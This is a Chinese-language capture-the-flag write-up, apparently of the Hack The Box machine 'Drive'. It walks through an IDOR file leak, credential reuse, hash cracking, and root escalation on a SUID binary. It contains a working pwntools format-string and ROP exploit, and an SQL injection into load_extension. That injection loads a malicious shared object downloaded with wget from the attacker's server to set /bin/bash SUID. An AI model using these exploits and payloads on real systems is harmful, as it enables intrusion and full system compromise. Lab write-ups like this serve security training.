信息搜集

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
nmap -sC -sV 10.10.11.235
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-15 14:49 CST
Nmap scan report for drive.htb (10.10.11.235)
Host is up (0.18s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 27:5a:9f:db:91:c3:16:e5:7d:a6:0d:6d:cb:6b:bd:4a (RSA)
| 256 9d:07:6b:c8:47:28:0d:f2:9f:81:f2:b8:c3:a6:78:53 (ECDSA)
|_ 256 1d:30:34:9f:79:73:69:bd:f6:67:f3:34:3c:1f:f9:4e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Doodle Grive
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp filtered ppp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

寻找漏洞

http://drive.htb/一个注册和登陆的功能,随意注册一个账号尝试登陆

我们尝试上传两个文件并且查看,

注意查看的url一个文件似乎对应着一个ID;我们尝试从别的ID的得别的文件来泄露一些敏感文件

利用bp工具的Intruder模块来爆破;

  • 200:表示您有权访问该文件。
  • 401:表示对文件的访问被拒绝,这是我们主要寻找的。
  • 500:表示没有与该特定ID关联的文件。

发现ID为79,98,99,101下有文件但是我们无权查看,通过广泛的枚举,我们发现了一个潜在的攻击载体,其形式为/block链接。值得注意的是,此链接不会验证文件的所有者,这意味着我们可能会保留我们无法访问的文件。也就是这个漏洞导致我们可以查看到其他文件

在ID为79的文件下得到了敏感信息;访问http://drive.htb/79/block/

1
2
3
4
5
6
hey team after the great success of the platform we need now to continue the work.
on the new features for ours platform.
I have created a user for martin on the server to make the workflow easier for you please use the password "Xk4@KjyrYv8t194L!".
please make the necessary changes to the code before the end of the month
I will reach you soon with the token to apply your changes on the repo
thanks!

ssh登陆

1
2
ssh martin@10.10.11.235
password:Xk4@KjyrYv8t194L!

User_martin

backups

/var/www/backups目录下发现一些备份文件,下载到本地,尝试得到敏感信息;

1
2
3
4
5
6
7
8
9
martin@drive:/var/www/backups$ pwd
/var/www/backups
martin@drive:/var/www/backups$ ls -l
total 3732
-rw-r--r-- 1 www-data www-data 13018 Sep 1 20:00 1_Dec_db_backup.sqlite3.7z
-rw-r--r-- 1 www-data www-data 12226 Sep 1 20:00 1_Nov_db_backup.sqlite3.7z
-rw-r--r-- 1 www-data www-data 12722 Sep 1 20:00 1_Oct_db_backup.sqlite3.7z
-rw-r--r-- 1 www-data www-data 12770 Sep 1 20:00 1_Sep_db_backup.sqlite3.7z
-rwxr-xr-x 1 root root 3760128 Dec 26 2022 db.sqlite3

下载到本地之后,会发现解压需要密码,并且db.sqlite3中并没有可以利用的信息

gitea

下一步是搜索重要文件,果不其然存在一个gitea文件,Gitea是一个基于Go语言的开源自助Git服务,类似于GitHub或GitLab。它提供了一个轻量级的、易于安装和管理的Git服务,可以在自己的服务器上搭建私有的Git仓库。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
martin@drive:/usr/local/bin$ ls
cygdb cython cythonize django-admin gitea gunicorn pipreqs sqlformat
martin@drive:/usr/local/bin$ ./gitea
2023/12/15 07:19:00 cmd/web.go:106:runWeb() [I] Starting Gitea on PID: 665292
2023/12/15 07:19:00 .../setting/packages.go:44:newPackages() [E] Unable to create chunked upload directory: /usr/local/bin/data/tmp/package-upload (mkdir /usr/local/bin/data: permission denied)
2023/12/15 07:19:00 ...s/install/setting.go:21:PreloadSettings() [I] AppPath: /usr/local/bin/gitea
2023/12/15 07:19:00 ...s/install/setting.go:22:PreloadSettings() [I] AppWorkPath: /usr/local/bin
2023/12/15 07:19:00 ...s/install/setting.go:23:PreloadSettings() [I] Custom path: /usr/local/bin/custom
2023/12/15 07:19:00 ...s/install/setting.go:24:PreloadSettings() [I] Log path: /usr/local/bin/log
2023/12/15 07:19:00 ...s/install/setting.go:25:PreloadSettings() [I] Configuration file: /usr/local/bin/custom/conf/app.ini
2023/12/15 07:19:00 ...s/install/setting.go:26:PreloadSettings() [I] Prepare to run install page
2023/12/15 07:19:01 ...s/install/setting.go:29:PreloadSettings() [I] SQLite3 is supported
2023/12/15 07:19:02 cmd/web.go:217:listen() [I] [657bfde6] Listen: http://0.0.0.0:3000
2023/12/15 07:19:02 cmd/web.go:221:listen() [I] [657bfde6] AppURL(ROOT_URL): http://localhost:3000/
2023/12/15 07:19:02 ...s/graceful/server.go:61:NewServer() [I] [657bfde6] Starting new Web server: tcp:0.0.0.0:3000

并且gitea监听3000端口;我们尝试端口转发到本地,使得本地可以访问;

执行这条命令后,当你访问localhost:3000时,实际上会建立一个SSH隧道,将流量从你的本地主机的3000端口转发到drive.htb主机的3000端口。这意味着任何发送到localhost:3000的流量都会通过SSH连接被转发到drive.htb主机上运行的服务。

因此,如果drive.htb主机上确实有一个服务在3000端口上运行,并且SSH连接也已经建立,那么当你访问localhost:3000时,你应该能够访问到drive.htb主机上对应的服务。这种方式可以让你通过SSH连接来访问远程主机上的服务,而不需要直接暴露这些服务在公共网络上。

1
2
ssh martin@10.10.11.235 -L 3000:drive.htb:3000
password:Xk4@KjyrYv8t194L!

image-20231215153407127

email:martin@drive.htb;password:Xk4@KjyrYv8t194L!成功登陆;只有一个仓库,在DoodleGrive/db_backup.sh下搜集到到了解压文件的密码:H@ckThisP@ssW0rDIfY0uC@n:)

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
DB=$1
date_str=$(date +'%d_%b')
7z a -p'H@ckThisP@ssW0rDIfY0uC@n:)' /var/www/backups/${date_str}_db_backup.sqlite3.7z db.sqlite3
cd /var/www/backups/
ls -l --sort=t *.7z > backups_num.tmp
backups_num=$(cat backups_num.tmp | wc -l)
if [[ $backups_num -gt 10 ]]; then
#backups is more than 10... deleting to oldest backup
rm $(ls *.7z --sort=t --color=never | tail -1)
#oldest backup deleted successfully!
fi
rm backups_num.tmp

解压文件

7z解压

1
2
3
7z x 1_Nov_db_backup.sqlite3.7z -oname_Nov
7z x 1_Oct_db_backup.sqlite3.7z -oname_Oct
......

hashcat破解密码,密码不止一个,枚举尝试得到了正确passwd:johnmayer7

1
2
3
4
5
6
7
hashcat -m 124 -a 0 --force -O tests  /usr/share/wordlists/rockyou.txt

hashcat tests --show
sha1$Ri2bP6RVoZD5XYGzeYWr7c$71eb1093e10d8f7f4d1eb64fa604e6050f8ad141:johniscool
sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004:john316
sha1$Ri2bP6RVoZD5XYGzeYWr7c$4053cb928103b6a9798b2521c4100db88969525a:johnmayer7
sha1$DhWa3Bym5bj9Ig73wYZRls$3ecc0c96b090dea7dfa0684b9a1521349170fc93:john boy

User_tom

1
2
ssh tom@10.10.11.235
passwd:johnmayer7

代码分析

1
2
find / -perm -4000 2>/dev/null
/home/tom/doodleGrive-cli

将文件下载到本地查看;

main函数存在格式字符串漏洞+栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // edx
int v4; // ecx
int v5; // r8d
int v6; // r9d
int v7; // edx
int v8; // ecx
int v9; // r8d
int v10; // r9d
char v12[16]; // [rsp+0h] [rbp-50h] BYREF
char v13[56]; // [rsp+10h] [rbp-40h] BYREF
unsigned __int64 v14; // [rsp+48h] [rbp-8h]

v14 = __readfsqword(0x28u);
setenv("PATH", &unk_4973A8, 1LL);
setuid(0LL);
setgid(0LL);
puts("[!]Caution this tool still in the development phase...please report any issue to the development team[!]");
puts("Enter Username:");
fgets(v12, 16LL, stdin);
sanitize_string(v12);
printf("Enter password for ", 16, v3, v4, v5, v6, v12[0]);
printf(v12, 16, v7, v8, v9, v10, v12[0]);
puts(":");
fgets(v13, 400LL, stdin);
sanitize_string(v13);
if ( j_strcmp_ifunc(v12, "moriarty") || j_strcmp_ifunc(v13, "findMeIfY0uC@nMr.Holmz!") )
{
puts("Invalid username or password.");
}
else
{
puts("Welcome...!");
main_menu();
}
return 0;
}

main_menu()函数是一些执行sqlite3的一些功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
	 switch ( v6[0] )
{
case '1':
show_users_list();
break;
case '2':
show_groups_list();
break;
case '3':
show_server_status();
break;
case '4':
show_server_log();
break;
case '5':
activate_user_account();
break;
case '6':
puts("exiting...");
exit(0LL);
default:
puts("please Select a valid option...");
break;
}

其中activate_user_account函数存在sql注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

printf("Enter username to activate account: ", a2, a3, a4, a5, a6, v13[0]);
fgets(v13, 40LL, stdin);
v13[j_strcspn_ifunc(v13, "\n")] = 0;
if ( v13[0] )
{
sanitize_string(v13);
snprintf(
v14,
250,
"/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line 'UPDATE accounts_customuser SET is_active=1 WHERE username=\"%s\";'",
v13,
v6,
v7,
v13[0]);
printf("Activating account for user '%s'...\n", v13, v8, v9, v10, v11, v13[0]);
system(v14);
}
else
{
puts("Error: Username cannot be empty.");
}

提权

方法一(bof+printf)

尝试利用二进制文件漏洞提权;

这道题我自己写了个exp,本地可以成功,我想去靶场机对外开一个端口服务,使我攻击机可以nc到靶场机运行这个有漏洞的二进制文件,但是我发现这个二进制文件没有刷新缓冲区原因等,导致这种办法用不了;我直接把我的exp放到靶机上,有缺少一些python的库;最终利用python的ssh技术得到远程机的一个进程提权成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context(os='linux',arch='amd64',log_level='debug')

filename = "doodleGrive-cli"

#p = process(filename)

elf = ELF(filename)

ssh_host = 'drive.htb'
ssh_user = 'tom'
ssh_pass = 'johnmayer7'
ssh_port = 22

sh = ssh(host=ssh_host, user=ssh_user, password=ssh_pass, port=ssh_port)
p = sh.run('./doodleGrive-cli')

pop_rax = 0x0000000000453e37
pop_rdi = 0x0000000000401912
pop_rsi = 0x000000000040f74e
pop_rdx = 0x000000000040181f
ret = 0x000000000040101a
syscall = 0x00000000004012d3
binsh = 0x497CD5

#Canary ==> %15$p

p.sendlineafter("Enter Username:\n",b"%15$p")

p.recvuntil('Enter password for ')

Canary = int(p.recv(18),16)

print(hex(Canary))

payload = b"a"*0x38+p64(Canary)+b"deadbeef"+p64(pop_rax)+p64(0x3b)+p64(pop_rdi)+p64(binsh)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(syscall)

p.sendlineafter(":\n",payload)

p.interactive()
方法二(load_extension)

一开始我想尝试利用文件读取函数来得到/root/root.txt,遗憾的是我并没有搜索到sqllie3的文件读取函数的有关信息;

利用SQLite3中的load_extension函数。你可以在这里查看更多关于它的信息:SQLite3 load_extension

经过广泛的测试后,我们注意到应用程序过滤掉了字符“ ”。和“/”,最大输入长度为40个字符。为了绕过第一个限制,我们可以使用char()函数将文本写成ASCII。对于第二个限制,我们需要将文件压缩到只有一个字符以节省空间

创建一个恶意文件a.c;记住,文件名应该只包含一个字符,初始化函数应该遵循以下格式:sqlite3_<filename>_init()(也就是filename要与load_extension函数中的文件名要一致才行)。

1
2
3
4
5
6
7
#include <stdlib.h>
#include <unistd.h>
void sqlite3_a_init() {
setuid(0);
setgid(0);
system("/usr/bin/chmod +s /bin/bash");
}

编译代码

1
gcc -shared a.c -o a.so -nostartfiles -fPIC

开启python服务

1
python3 -m http.server

在靶机下载恶意文件并实时攻击得到root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
tom@drive:~$ wget 10.10.16.13:8000/a.so
tom@drive:~$ mv a.so a
tom@drive:~$ ./doodleGrive-cli
[!]Caution this tool still in the development phase...please report any issue to the development team[!]
Enter Username:
moriarty
Enter password for moriarty:
findMeIfY0uC@nMr.Holmz!
Welcome...!

doodleGrive cli beta-2.2:
1. Show users list and info
2. Show groups list
3. Check server health and status
4. Show server requests log (last 1000 request)
5. activate user account
6. Exit
Select option: 5
Enter username to activate account: "+load_extension(char(46,47,97))--+
Activating account for user '"+load_extension(char(46,47,97))--+'...


tom@drive:~$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18 2022 /bin/bash
tom@drive:~$ bash -p
bash-5.0# whoami
root